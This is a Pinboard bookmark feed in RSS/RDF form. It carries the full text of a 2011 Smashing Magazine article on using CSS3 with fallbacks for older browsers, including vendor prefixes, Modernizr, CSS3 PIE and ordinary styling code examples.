<?xml version="1.0" encoding="UTF-8"?>
 <rdf:RDF xmlns="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:taxo="http://purl.org/rss/1.0/modules/taxonomy/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:cc="http://web.resource.org/cc/" xmlns:syn="http://purl.org/rss/1.0/modules/syndication/" xmlns:admin="http://webns.net/mvcb/">
  <channel rdf:about="http://pinboard.in">
    <title>Pinboard (seancron)</title>
    <link>https://pinboard.in/u:seancron/public/</link>
    <description>recent bookmarks from seancron</description>
    <items>
      <rdf:Seq>	<rdf:li rdf:resource="http://musicforprogramming.net/"/>
	<rdf:li rdf:resource="http://www.smashingmagazine.com/2011/05/03/using-css3-older-browsers-and-common-considerations/"/>
	<rdf:li rdf:resource="http://www.smashingmagazine.com/2011/02/11/the-bright-near-future-of-css/"/>
	<rdf:li rdf:resource="http://www.smashingmagazine.com/2010/12/13/what-to-do-when-your-website-goes-down/"/>
	<rdf:li rdf:resource="http://www.smashingmagazine.com/2010/10/26/successful-freelancing-with-ruby-on-rails-workflow-techniques-and-tools/"/>
	<rdf:li rdf:resource="http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/"/>
	<rdf:li rdf:resource="http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/"/>
	<rdf:li rdf:resource="http://www.1stwebdesigner.com/freebies/alternatives-lipsum-com/"/>
	<rdf:li rdf:resource="http://line25.com/articles/style-your-site-according-to-the-weather-with-jquery"/>
	<rdf:li rdf:resource="http://www.smashingmagazine.com/2010/05/27/css-three-connecting-the-dots/"/>
	<rdf:li rdf:resource="http://www.smashingmagazine.com/2010/05/05/the-poetics-of-coding/"/>
	<rdf:li rdf:resource="http://www.smashingmagazine.com/2010/04/15/php-what-you-need-to-know-to-play-with-the-web/"/>
      </rdf:Seq>
    </items>
  </channel><item rdf:about="http://musicforprogramming.net/">
    <title>musicForProgramming();</title>
    <dc:date>2012-02-07T04:39:02+00:00</dc:date>
    <link>http://musicforprogramming.net/</link>
    <dc:creator>seancron</dc:creator><dc:subject>music programming coding code interesting via:popular</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:02bff5b617f4/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:music"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:programming"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:code"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:interesting"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:via:popular"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.smashingmagazine.com/2011/05/03/using-css3-older-browsers-and-common-considerations/">
    <title>Using CSS3: Older Browsers And Common Considerations</title>
    <dc:date>2011-05-03T14:45:58+00:00</dc:date>
    <link>http://www.smashingmagazine.com/2011/05/03/using-css3-older-browsers-and-common-considerations/</link>
    <dc:creator>seancron</dc:creator><description><![CDATA[    With the arrival of IE9, Microsoft has signalled its intent to work more with standards-based technologies. With IE still the single most popular browser and in many ways the browser for the uninitiated, this is hopefully the long awaited start of us Web craftsmen embracing the idea of using CSS3 as freely as we do CSS 2.1. However, with IE9 not being supported on versions of Windows before Vista and a lot of businesses still running XP and reluctant (or unable) to upgrade, it might take a while until a vast majority of our users will see the new technologies put to practice.
While plenty of people out there are using CSS3, many aren’t so keen or don’t know where to start. This article will first look at the ideas behind CSS3, and then consider some good working practices for older browsers and some new common issues.
A Helpful AnalogyThe best analogy to explain CSS3 that I’ve heard relates to the world of film. Filmmakers can’t guarantee what platform their viewers will see their films on. Some will watch them at the cinema, some will watch them at home, and some will watch them on portable devices. Even among these few viewing options, there is still a massive potential for differences: IMAX, DVD, Blu-ray, surround sound — somebody may even opt for VHS!
So, does that mean you shouldn’t take advantage of all the great stuff that Blu-ray allows with sound and video just because someone somewhere will not watch the film on a Blu-ray player? Of course not. You make the experience as good as you can make it, and then people will get an experience that is suitable to what they’re viewing the movie on.
A lot about CSS3 can be compared to 3-D technology. They are both leading-edge technologies that add a lot to the experience. But making a film without using 3-D technology is still perfectly acceptable, and sometimes even necessary. Likewise, you don’t need to splash CSS3 gradients everywhere and use every font face you can find. But if some really do improve the website, then why not?
However, simply equating CSS3 to 3-D misses the point. In many cases, CSS3 simply allows us to do the things that we’ve been doing for years, but without all the hassle.
To Gracefully Degrade or Progressively Enhance?In film, you create the best film you can make and then tailor the product to the viewing platform. Sound familiar? If you have dabbled in or even taken a peek at CSS3, it should.
There are two schools of thought with CSS3 usage, and it would be safe to say that the fundamental principle of both is to maintain a website’s usability for those whose browsers do not support CSS3 capabilities, while providing CSS3 enhancements for those whose browsers do. In other words, make sure the film still looks good even without the 3-D specs. In many ways, the schools of thought are similar, and regardless of which you adopt, you will face many of the same concerns and issues, only from different angles.
Graceful DegradationWith graceful degradation, you code for the best browsers and ensure that as the various layers of CSS3 are peeled away on older browsers, those users still get a usable (even if not necessarily as pleasing an) experience.
The approach is similar (although not identical) to using an IE6-only style sheet, whereby you serve a certain set of styles to most users, while serving alternate styles to users of IE6 and lower. Normally, the IE6 version of a website removes or replaces styling properties that don’t work in IE6, along with fixes for any layout quirks. Graceful degradation differs in that it makes use of the natural fallbacks in the browser itself, and fixes are determined by browser capabilities rather than specific browser versions. Also, graceful degradation does not normally require an entirely different set of styles. The result, though, is that the majority of users get the normal view, and then tweaks are applied for people who have yet to discover a better browser.
Aggressive graceful degradation is at the heart of Andy Clarke’s recent book, Hardboiled Web Design, and the accompanying website makes great use of graceful degradation. There are plenty of other examples, including Do Websites Need to Look Exactly the Same in Every Browser.com, which was built to showcase the technique, and Virgin Atlantic’s vtravelled blog, designed by John O’Nolan, which shows some great subtle fallbacks that most users wouldn’t even notice. And if you’re a WordPress user, why not compare your admin dashboard in IE to it in another browser?
Progressive EnhancementProgressive enhancement follows the process in reverse: that is, building for lower-support browsers and then using CSS3 to enhance the experience of those with more capable browsers. This used to be done, and still is by some, with separate enhancement style sheets.
As a starting point, most people will code for a sensible standards-based browser, then add some code to support browsers such as IE7 and 8, and then possibly thrown in some fixes for IE6 for good measure, and then step back and think, “How can I improve this with CSS3?” From there, they would add properties such as rounded corners, gradients, @font-face text replacement and so on.
As browser makers add support, progressive enhancement appears to be taking a back seat to graceful degradation. But progressive enhancement is a very good approach for getting started with CSS3 properties and learning how they work.
Examples of the technique include the personal websites of Sam Brown and Elliot Jay Stocks, which both feature enrichment-type style sheets, Elliot has spoken on the matter, and the slides from his 2009 Web Directions South talk, “Stop Worrying and Get on With It (Progressive Enhancement and Intentional Degradation),” make for good reading.
Elliot Jay Stock’s presentation ‘Stop Worrying and Get on With It (Progressive Enhancement and Intentional Degradation)’
Comparing the two, graceful degradation can be considered a top-down approach, starting with browsers most capable of utilizing CSS3 and working down to older browsers that lack support.
Progressive enhancement works the other way, bottom-up, using a standards-based browser of choice as the baseline, along maybe with IE7, and then adding CSS3 for browsers that support it. Its benefit is that it is easy to work with when you’re just getting used to CSS3, and it’s also a sensible approach when adding CSS3 to older websites. Whichever approach you choose, there are a number of things to consider, what with all the CSS3 properties that are coming out. Later on, we will look at considerations for certain key properties.
How To Do It?Whatever your approach, you will no doubt find yourself thinking through the common fallback process at some point: what would this element look like with a certain property, and what would it look like without it? Would it look fine or broken? If it would look broken, there’s a good chance you will need to do something about it.
As a typical path, you would first implement a feature with CSS3, then with CSS 2.1, then (maybe) with JavaScript, and then with whatever hack you used to use for legacy browsers. You could argue that progressive enhancement would slightly modify this path, using CSS 2.1 first, then CSS3.
At each stage, you should determine whether degrading or enhancing a feature would become unnecessarily complex and whether simply providing an alternative would be more sensible.
Ordering PropertiesLet’s take a quick look at ordering properties and how browsers interpret them. Browser makers initially offer CSS3 functionality via browser prefixes: -moz for Mozilla, -webkit for Chrome and Safari, -o for Opera, etc. Each browser then ignores any prefixes not meant for it. The convention is to list the browser-specific prefixes first and then the default property, as follows:

.somediv {
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
border-radius: 5px; }
Yes, this creates a little overhead, but when you consider how such effects were achieved before CSS3, it’s really not much.
Browsers that don’t support the property will ignore it. Any browser that does support it will implement its browser-specific version; and when it eventually supports the generic property, it will implement that.
Why order it in this way? Once all of the browsers implement a property the same way, then they will adopt the default version of the property; until then, they will use the prefixed version. By listing the properties in the order shown above, we ensure that the standard version is implemented as the fallback once it is supported, hopefully leading to more consistent rendering across browsers.
JavaScriptJavaScript is the most common method of enabling cross-browser CSS3 features support, and it can either be used as a substitute for or to enable CSS3 properties in older browsers or be used as an alternative.
ModernizrA useful JavaScript tool for implementing CSS3 fallbacks is Modernizr. For anyone working with CSS3 in a production environment (as opposed to merely as a proof of concept), it is essential. Modernizr enables you to use CSS3 for properties where it is supported, and to provide sensible alternatives where it isn’t.

Modernizr works by adding classes to the html element of the page, which you would then call in the style sheet.
For example, to display a different background when CSS3 gradients are not supported, your code would look something like this:

.somediv {
background: -webkit-gradient(linear, 0% 0%, 0% 100%,
  from(#660C0C), to(#616665), color-stop(.6,#0D0933)); }

.no-cssgradients .somediv {
background: url('/images/gradient.jpg'); }
Conversely, to display a different background only where the CSS3 property is supported, you would do this:

.cssgradients .somediv {
background: -webkit-gradient(linear, 0% 0%, 0% 100%,
  from(#660C0C), to(#616665), color-stop(.6,#0D0933));}

.somediv {
background: url('/images/gradient.jpg'); }
In this way, you control what is shown in the absence of a property, and you tailor the output to what is sensible. In this case, you could serve a gradient image in the absence of support for CSS3 gradients.
With this additional control, you can tailor the output quite accurately and avoid any clashes that might arise from a missing property.
CSS3 PIESadly, this has nothing to do with the tasty dessert. CSS3 PIE stands for progressive Internet Explorer. As the official description says:
PIE makes Internet Explorer 6 to 8 capable of rendering several of the most useful CSS3 decoration features.

While it doesn’t support a myriad of features, it does allow you to use box-shadow, border-radius and linear gradients in IE without doing much extra to the code. First, upload the CSS PIE JavaScript file, and then when you want to apply the functionality, you would include it in the CSS, like so:

.somediv {
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
behavior: url(path/to/PIE.htc); }
Fairly straightforward, and it can save you the hassle of having to use JavaScript hacks to achieve certain effects in IE.
SelectivzrCSS3 has expanded its repertoire beyond advanced selectors such as [rel="selector"] and pseudo-selectors such as :focus, to include selectors such as :nth-of-type, which give you much more control and focus and allow you to dispense with a lot of presentational classes and IDs. Support for selectors varies greatly, especially with the wide variety of additional selectors being introduced.

Therefore, the third weapon in your CSS3 arsenal will most likely be Selectivzr, which enables advanced CSS3 selectors to be used in older browsers and is aimed squarely at old IE versions.
Head over to the Selectivizr website and download and add the script. You will have to pair it with a JavaScript framework such as jQuery or MooTools, but chances are you’re working with one already. The home page is worth a quick look because not all selectors are supported by all JavaScript libraries, so make sure what you need is supported by your library of choice.
Problems?The main issue with all of the solutions above is that they’re based on JavaScript, and some website owners will be concerned about users who have neither CSS3 support nor JavaScript enabled. The best solution is to code sensibly and make use of natural CSS fallbacks and allow the browser to ignore CSS properties that it doesn’t recognize.
This may well make your website look a bit less like the all-singing, all-dancing CSS3-based design that you had in mind, but remember that the number of people without CSS3 support and without JavaScript enabled will be low, and the best you can do is make sure they get a usable, functional and practical experience of your website, thus allowing you to continue tailoring the output to the user’s platform.
Some CSS3 Properties: Considerations And FallbacksMany CSS3 properties are being used, and by now we have gotten used to the quirks and pitfalls of each iteration of the CSS protocol. To give you a quick start on some of the more popular CSS3 properties, we’ll look at some of the issues you may run into and some sensible ways to fall back in older browsers.
All of the information in this article about browser support is correct as of May 2011. You can keep up to date and check out further information about support by visiting findmebyIP. Support has not been checked in browser versions older than Chrome 7.0, Firefox 2.0, Opera 9, Safari 2 and Internet Explorer 6.
Border RadiusSupport: Google Chrome 7.0+, Firefox (2.0+ for standard corners, 3.5+ for elliptical corners), Opera 10.5+, Safari 3.0+, IE 9
Property: border-radius
Vendor prefixes: -webkit-border-radius, -moz-border-radius
Example usage (even corners with a radius of 5 pixels):

.somediv {
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
border-radius: 5px; }
Fallback behavior: rounded corners will display square.
 WordPress log-in button in IE (left) and Google Chrome (right).
Without the hassle of extra divs or JavaScript or a lot of well-placed, well-sliced images, we can give elements rounded corners with the use of the straightforward border-radius property.
What about browsers that don’t support border-radius? The easiest answer is, don’t bother. Is having rounded corners in unsupported browsers really worth the hassle? If it is, then you need only do what you’ve been doing for years: JavaScript hacks and images.
Could this property trip you up? Actually, border-radius is pretty straightforward. Be careful using it on background images, because there are certainly some bugs in some browser versions that keep the corners of images from appearing rounded. But aside from that, this is one of the best-supported CSS3 properties so far.
Border ImageSupport: Google Chrome 7.0+, Firefox 3.6+, Opera 11, Safari 3.0+, no support in IE
Property: border-image, border-corner-image
Vendor prefixes: -webkit-border-image, -moz-border-image
Example usage (a repeating image with a slice height and width of 10 pixels):

.somediv {
-webkit-border-image: url(images/border-image.png) 10 10 repeat;
-moz-border-image: url(images/border-image.png) 10 10 repeat;
border-image: url(images/border-image.png) 10 10 repeat; }
Fallback behavior: shows standard CSS border if property is set, or no border if not specified.
 A border-image demo on CSS3.info. The bottom paragraph shows a standard property of border: double orange 1em.
The border-image property is less heralded among the new properties, partly because it can be a bit hard to wrap your head around. While we won’t go into detail here, consider the image you are working with, and test a few variations before implementing the property. What will the border look like if the content overflows? How will it adjust to the content? Put some thought into your choice between stretch and repeat.
Experiment with an image before applying a border to make sure that everything is correct, and test different sizes and orientations to see how a repeating border looks.
 A border image in use on Blog.SpoonGraphics. The image on the left is the base image for the border.
There isn’t much in the way of fallbacks, aside from the traditional method of coding for eight slice-image borders, mapped out with extra containing divs. This is a lot of work and is really unnecessary. Selecting an appropriate border color and width should be a sensible fallback for browsers without border-image support.
Box ShadowSupport: Google Chrome 7.0+, Firefox 3.6+, Safari 3.0+, IE 9
Property: box-shadow
Vendor prefixes: -webkit-box-shadow, -moz-box-shadow (-moz no longer needed as of Firefox 4)
Example usage (showing a black shadow, offset down by 10 pixels and right by 10 pixels, and with a blur radius of 5 pixels):

.somediv {
-moz-box-shadow: 10px 10px 5px #000;
-webkit-box-shadow: 10px 10px 5px #000;
box-shadow: 10px 10px 5px #000; }
Fallback behavior: shadow is not displayed.
Box shadow allows you to quickly and easily add a little shadow to your elements. For anyone who has used shadows in Photoshop, Fireworks or the like, the principles of box shadow should be more than familiar.
 A subtle box shadow on the left, and a selective borders fallback on the right.
In its absence? You could use selective borders (i.e. a left and bottom border to imitate a thin box shadow).

.somediv {
-moz-box-shadow: 1px 1px 5px #888;
-webkit-box-shadow: 1px 1px 5px #888;
box-shadow: 1px 1px 5px #888; }

.no-boxshadow .somediv {
border-right: 1px solid #525252;
border-bottom: 1px solid #525252; }
RGBa and HSLaRGBa support: Google Chrome 7.0+, Firefox 3.0+, Opera 10+, Safari 3.0+, IE 9
HSLA support: Google Chrome 7.0+, Firefox 3.0+, Opera 10+, Safari 3.0+
Property: rgba, hsla
Fallback behavior: the color declaration is ignored, and the browser falls back to the previously specified color, the default color or no color.

.somediv {
background: #f00;
background: rgba(255,0,0,0.5); }
In the example above, both background declarations specify the color red. Where RGBa is supported, it will be shown at 50% (0.5), and in other cases the fallback will be to the solid red (#f00).
 24 Ways makes great creative use of RGBa.
While there is broad support for opacity, its downside is that everything associated with an element becomes transparent. But now we have two new ways to define color: RGBa (red, green, blue, alpha) and HSLa (hue, saturation, light, alpha).
Both offer new ways to define colors, with the added benefit of allowing you to specify the alpha channel value.
The obvious fallback for RGBa and HSLa is a solid color; not a problem, but the main thing to watch out for is legibility. A semi-transparent color can have quite a different tone to the original. An RGB value shown as a solid color and the same value at .75 opacity can vary massively depending on the background shade, so be sure to check how your text looks against the background.
 Changing transparency can affect the legibility of overlaid text.
If transparency is essential, you could also use a background PNG image. Of course, this brings with it the old IE6 problem, but that can be solved with JavaScript.
TransformSupport: Google Chrome 7.0+, Firefox 3.6+, Opera 10.5+, Safari 3.0+
3-D transforms support: Safari
Property: transform
Vendor prefixes: -o-transform
Example usage (rotating a div 45° around the center, and scaling it to half the original size — for illustration only, so the translate and skew values are not needed):

.somediv {
-webkit-transform: scale(0.50) rotate(45deg)
   translate(0px, 0px) skew(0deg, 0deg);
-webkit-transform-origin: 50% 50%;
-moz-transform: scale(0.50) rotate(45deg)
   translate(0px, 0px) skew(0deg, 0deg);
-moz-transform-origin: 50% 50%;
-o-transform: scale(0.50) rotate(45deg)
   translate(0px, 0px) skew(0deg, 0deg);
-o-transform-origin: 50% 50%;
transform: scale(0.50) rotate(45deg)
   translate(0px, 0px) skew(0deg, 0deg);
transform-origin: 50% 50%; }
Fallback behavior: the transform is ignored, and the element displays in its original form.
 Westciv offers a useful tool for playing around with transforms.
The transform property gives you a way to rotate, scale and skew an element and its contents. It’s a great way to adjust elements on the page and give them a slightly different look and feel.
A simple fallback in the absence of an image-based transform is to use an alternative image that is already rotated. And if you want to rotate content? Well, you can always use JavaScript to rotate the element. Another simple alternative is to rotate the background element in an image editor beforehand and keep the content level.
We’ve gotten by with level elements for so many years, there’s no reason why people on old browsers can’t continue to put up with them.
Animations and TransitionsTransitions support: Google Chrome 7.0+, Firefox 4.02, Opera 10.5+, Safari 3.0+
Animations support: Google Chrome 7.0+, Safari 3.0+
Property: transition
Vendor prefixes: -webkit-transition, -moz-transition, -o-transition
Example usage (a basic linear transition of text color, triggered on hover):

.somediv:hover {
color: #000;
-webkit-transition: color 1s linear;
-moz-transition: color 1s linear;
-o-transition: color 1s linear;
transition: color 1s linear; }
A basic animation that rotates an element on hover:

@-webkit-keyframes spin {
from { -webkit-transform: rotate(0deg); }
to { -webkit-transform: rotate(360deg); }
}

.somediv:hover {
-webkit-animation-name: spin;
-webkit-animation-iteration-count: infinite;
-webkit-animation-timing-function: linear;
-webkit-animation-duration: 10s; }
Fallback behavior: both animations and transitions are simply ignored by unsupported browsers. With animations, this means that nothing happens, and no content is animated. With transitions, it depends on how the transition is written; in the case of a hover, such as the one above, the browser simply displays the transitioned state by default.
 The 404 page for the 2010 Future of Web Design conference attracted attention for its spinning background. Visit the website in IE and you’ll see a static background image.
Animations and transitions in CSS3 are slowly seeing more use, from subtle hover effects to more elaborate shifting and rotating of elements across the page. Most effects either start right at page load or (more frequently) are used to enhance a hover effect. Once you get down and dirty with animations, there’s great fun to be had, and they’re much more accessible to designers now than before.
Starting off small with the CSS3 transition property is best, subtly transitioning things such as link hovers before moving on to bigger things.
Once you’re comfortable with basic transitions and transforms, you can get into the more involved animation property. To use it, you declare keyframes of an animation with @-webkit-keyframes and then call this keyframe animation in other elements, declaring its timing, iterations, etc. Note that animations work better with CSS3 transforms than with other properties, so stick to transform and translate rather than shifting margins or absolute positioning.
Of course, people have been animating with JavaScript for years. But if you want to do something as simple as animating a hover state, then it hardly seems worth the extra coding. The simplest thing to do for unsupported browsers is to specify a state for hover, without any transition to it.
Font Face (not new in CSS3)Support for different font formats: Google Chrome 7.0+, Firefox 3.1+, Opera 10+, Safari 3.1+, IE 6+
Property: @font-face
Example usage (a @font-face declaration for Chunk Five, an OTF font, and calling it for h1 headings):

@font-face {
font-family: ChunkF; src: url('ChunkFive.otf'); }

h1 {
font-family: ChunkF, serif; }
Fallback behavior: just as when any declared font isn’t available, the browser continues down the font stack until it finds an available font.
 The New Adventures in Web Design conference serves fonts from Typekit.
Okay, this isn’t strictly new to CSS3. Many of you will point out that this has been around as long as IE5. However, text replacement is certainly starting to see increased usage as browser makers roll out increased support for @font-face.
One issue that @font-face suffers from is that a font isn’t displayed on the screen until the browser has downloaded it to the user’s machine, which sometimes means that the user sees a “flash of unstyled text” (FOUT). That is, the browser displays a font from further down the stack or a default font until it has finished downloading the @font-face file; once the file has downloaded, the text flashes as it switches to the @font-face version. So, minimizing the flash by stacking fonts of a similar size and weight is important. If the stack is poorly compiled, then not only could the text be resized, but so could containing elements, which will confuse users who have started reading the page before the proper font has loaded.
The good news is that Firefox 4 doesn’t has a FOUT any longer, IE9, however, does have a FOUT but WebInk has written a script FOUT-B-GONE which takes these facts into account and helps you hide the FOUT from your users in FF3.5-3.6 and IE.
 On his blog, Web designer Florian Schroiff uses @font-face to serve the Prater font (bottom), falling back to Constina, Georgia (top) and Times New Roman.
Many font delivery services, including TypeKit and Google Web Fonts, deliver their fonts via JavaScript, which gives you control over what is displayed while the font is being downloaded as well as what happens when the font actually loads.
Because browsers wait until the full file of a font kit has loaded before displaying it, plenty of services allow you to strip out unnecessary parts of the kit to cut down on size. For example, if you’re not going to be using small caps, then you can strip it out of the file so that the font renders more quickly.
Advanced SelectorsSupport (varies depending on the selector used): Google Chrome 7.0+, Firefox 3.6+, Opera 9.0+, Safari 2.0+, IE 6+
Property: many, including :nth-of-type, :first-child, :last-child, [attr="…"]
Example usage (coloring only links that point to Smashing Magazine, and coloring odd-numbered rows in tables):

a[href*=smashingmagazine.com] {
color:#f00; }

tr:nth-of-type(odd) {
background: #ddd; }
Fallback behavior: In the absence of support for advanced selectors, the browser does not apply the targeted style to the element and simply treats it as any other element of its type. In the two examples above, the link would take on the standard link properties but not the specified color, and the odd-numbered table rows would be colored the same as other table rows.
Advanced selectors are a great tool for reducing the code on a website. You will be able to get rid of many presentational classes and gain more control of the selections in your style sheet.
Using Selectivzr, you can get older browsers to support these advanced selectors, which makes the selectors easier to use and more robust.
 We can easily assign styles using nth-type selectors. However, because the styles in this example are tied directly to the content, sticking to class names would be better, unless you are 100% certain that the order of words won’t change.
Abandoning classes and IDs altogether in favor of nth-type is tempting. But don’t throw them away just yet. Use advanced selectors when an element’s style is based on its location in the document or a series; for example, using nth-type(odd) for table rows or using last-of-type to remove some padding at the bottom of a list.
If an element’s style is based on its content, then stick with classes and IDs. That is, if inserting a new element or changing the order of items would break the style, then stick with the old method.
However, if an element is already sufficiently styled, then you probably don’t need an additional class or ID at all (nor an advanced selector, for that matter).
ColumnsSupport: Google Chrome 7.0+, Firefox 2.0+, Safari 3.0+, Opera 11.10+
Property: column-count
Vendor prefixes: -webkit-column-count, -moz-column-count
Example usage (splitting content into three columns):

.somediv {
-moz-column-count: 3;
-webkit-column-count: 3;
column-count: 3; }
Fallback behavior: in the absence of support for multiple columns, the browser spreads the content across the full width that the columns would have taken up.
 Multiple columns and their fallback on Inayaili de León’s website.
This property give you a nice easy way to spread content across multiple columns. The technique is standard in print, and on the Web it makes it easy to read content without needing to scroll. But you didn’t need me to tell you that, did you?
Because the property’s main purpose is to allow users to read horizontally without scrolling, first make sure that your columns aren’t too tall. Having to scroll up and down to read columns not only defeats their purpose but actually makes the content harder to read.
There are some JavaScript solutions for multiple columns. For older browsers, though, there’s generally no need to stick with a multi-column layout; rather, you could consider sensible alternatives for fallbacks.
 Without support for multiple columns, the block quotes on tweetCC change in style.
In the absence of CSS3 support, the browser will flow content across the full width of the container. You’ll want to be careful about legibility. It can be very heard to read content that spans the width of an area that is intended to be broken into three columns. In this case, you’ll want to set a suitable line length. There are a few ways to do so: increase the margins, change the font size or decrease the element’s width. Floating elements such as images and block quotes out of the flow of text can help to fill up any leftover space in the single column.
GradientsSupport: Google Chrome 7.0+ for -webkit-gradient, Google 10+ for -webkit-linear-gradient and -webkit-radial-gradient, Firefox 3.6+, Safari
Property: linear-gradient, radial-gradient
Vendor prefixes: -webkit-gradient, -webkit-linear-gradient, -webkit-radial-gradient, -moz-linear-gradient, moz-radial-gradient
Example usage (a linear white-to-black gradient running from top to bottom — notice the lack of -linear- in the Webkit declaration):

.somediv {
background-image: -webkit-gradient(linear, 0% 0%, 0% 100%,
  from(#ffffff), to(#000000));
background-image: -webkit-linear-gradient(0% 0%, 0% 100%,
  from(#ffffff), to(#000000));
background-image: -moz-linear-gradient(0% 0% 270deg,
  #ffffff, #000000);
background-image: linear-gradient(0% 0% 270deg,
  #ffffff, #000000); }
A radial gradient running from white in the center to black on the outside:

.somediv {
background-image: -moz-radial-gradient(50% 50%, farthest-side,
  #ffffff, #000000);
background-image: -webkit-gradient(radial, 50% 50%, 0, 50% 50%, 350,
  from(#ffffff), to(#000000));
background-image: -webkit-radial-gradient(50% 50%, 0, 50% 50%, 350,
  from(#ffffff), to(#000000));
background-image: radial-gradient(50% 50%, farthest-side,
  #ffffff, #000000); }
Fallback behavior: the browser will show the same behavior as it would for a missing image file (i.e. either the background or default color).
 ColorZilla’s Ultimate CSS Gradient Generator offers a familiar interface for generating gradients.
Ah, the good ol’ Web 2.0 look, but using nothing but CSS. Thankfully, gradients have come a long way from being used for glossy buttons, and this CSS3 property is the latest step in that evolution.
Gradients are applied the way background images are, and there are a few ways to do it: hex codes, RGBa and HSLa.
Be careful when applying a background with a height of 100% to an element such as the body. In some browsers, this will limit the gradient to the edge of the visible page, and so you’ll lose the gradient as you scroll down (and if you haven’t specified a color, then the background will be white). You can get around this by setting the background-position to fixed, which ensures that the background doesn’t move as you scroll.
Specifying a background color not only is a good fallback practice but can prevent unforeseen problems. As a general rule, set it either to one end of the gradient or to a color in the middle of the range.
Legibility is also a consideration. Making text readable against a solid background color is easy. But if a gradient is dramatic (for example, from very light to very dark), then choose a text color that will work over the range of the gradient.
Radial gradients are a bit different, and getting used to the origins and spreads can take a bit of playing around. But the same principles apply. Note that Webkit browsers are switching from the -webkit-gradient property to -webkit-linear-gradient and -webkit-radial-gradient. To be safe, include both properties, but (as we have learned) put the old property before the new one.
These issues aren’t new; we’ve been using gradients for ages. If you really need one, then the obvious fallback is simply to use an image. While it won’t adapt to the dimensions of the container, you will be able to set its exact dimensions as you see fit.
Multiple BackgroundsSupport: Google Chrome 7.0+, Firefox 3.6+, Safari 2.0+, IE 9
Property: background
Example usage (multiple backgrounds separated by a comma, the first on top, the second behind it, the third behind them, and so on):

.somediv {
background: url('background1.jpg') top left no-repeat,
  url('background2.jpg') bottom left repeat-y,
  url('background3.jpg') top right no-repeat; }
Fallback behavior: an unsupported browser will show only one image, the one on top (i.e. the first in the declaration).
 The fantastic Lost World’s Fairs website shows multiple backgrounds in its header and a solid color as a fallback.
Being able to set multiple background images is very useful. You can layer images on top of one another. And because CSS gradients can be applied as backgrounds, you can layer multiple images and gradients with ease.
You can also position background elements within dynamically sized containers. For example, you could have an image appear 25% down the container and then another at 75%, both of which move with any dynamic content.
If multiple backgrounds are essential to your website, you could insert additional elements and images into the DOM using JavaScript. But again, is this worth doing? A single well-chosen background image might work best. It could be a matter of picking the most important image or blending the images into a composite (even if this makes for a less dynamic background).
Use Only Where NeededIt’s worth repeating that CSS3 is not a necessity. Just because you can use CSS3 properties, doesn’t mean your website would be any worse off without them. Applying these effects is now so simple, and so getting carried away becomes all too easy. Do you really need to round every corner or use multiple backgrounds everywhere? Just as a film can work without 3-D, so should your design be able to work without CSS3 splashed everywhere indiscriminately. The technology is simply a tool to make our lives easier and help us create better designs.
It is a testament to those who are already using CSS3 that there are very few instances of its misuse at the moment. The websites that do seem to misuse it suggest that their designers either used CSS3 for its own sake or didn’t consider its implications on certain platforms.
In “Web Design Trends 2010: Real-Life Metaphors and CSS3 Adaptation,” Smashing Magazine’s Vitaly Friedman notes a number of misuses of the text-shadow property.
 A less-than-ideal use of CSS3 on SramekDesign.com.
The text-shadow property has certainly become popular. One-pixel white shadows are popping up in text everywhere for no apparent reason. As Vitaly says:
… before adding a CSS3 feature to your website, make sure it is actually an enhancement, added for the purpose of aesthetics and usability, and not aesthetics at the cost of usability.
As you become familiar with CSS3’s new properties, you will learn to recognize when and where problems occur and where the properties aren’t really necessary.
Using CSS3CSS3 is the future of the Web, no argument about that. So, versing yourself right now in the language of the future makes sense. While IE is still the single most popular browser, it now has less than half of the market share, meaning that the majority of people no longer use it and it can no longer be used as an excuse not to explore new possibilities and opportunities.
To use CSS3 means to embrace the principle that websites need not look the same in every browser, but rather should be tailored to the user’s browsing preferences via sensible fallbacks. It isn’t daunting or inaccessible, and the best way to learn is by diving in.
Other ResourcesIf you would like to learn more, plenty is out there. Here are some selections to get you started.
Hardboiled Web Design Andy Clarke’s lauded book about CSS3 and HTML5.CSS3 for Web Designers Dan Cederholme’s book on using CSS3, what works and what doesn’t.HTML5 & CSS3 Support A page showing which browsers support which properties.CSS.info Documents news and articles about CSS3.CSS3 Working Group Blog Keeps you up to date on the progress of the CSS3 specification.“Take Your Design to the Next Level With CSS3” A Smashing Magazine article by Inyaili De Lyon that focuses on a few properties in more depth.“Why We Should Start Using CSS3 and HTML5 Today” A Smashing Magazine article that discusses the reasons why people are holding off working with CSS3 and HTML5.“CSS3 Mastery” A series of articles on Nettuts+ that give a good working introduction to various CSS3 properties.Do you use CSS3 in your projects?  Do you use CSS3 in your projects?survey software 
(al) (ik) (vf)
© Dave Sparks for Smashing Magazine, 2011. | Permalink | Post a comment | Smashing Shop | Smashing Network | About Us Post tags: Coding, CSS, css3 
]]></description>
<dc:subject>Coding CSS css3</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:1d343b4d778b/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:CSS"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:css3"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.smashingmagazine.com/2011/02/11/the-bright-near-future-of-css/">
    <title>The Bright (Near) Future of CSS</title>
    <dc:date>2011-02-11T14:50:20+00:00</dc:date>
    <link>http://www.smashingmagazine.com/2011/02/11/the-bright-near-future-of-css/</link>
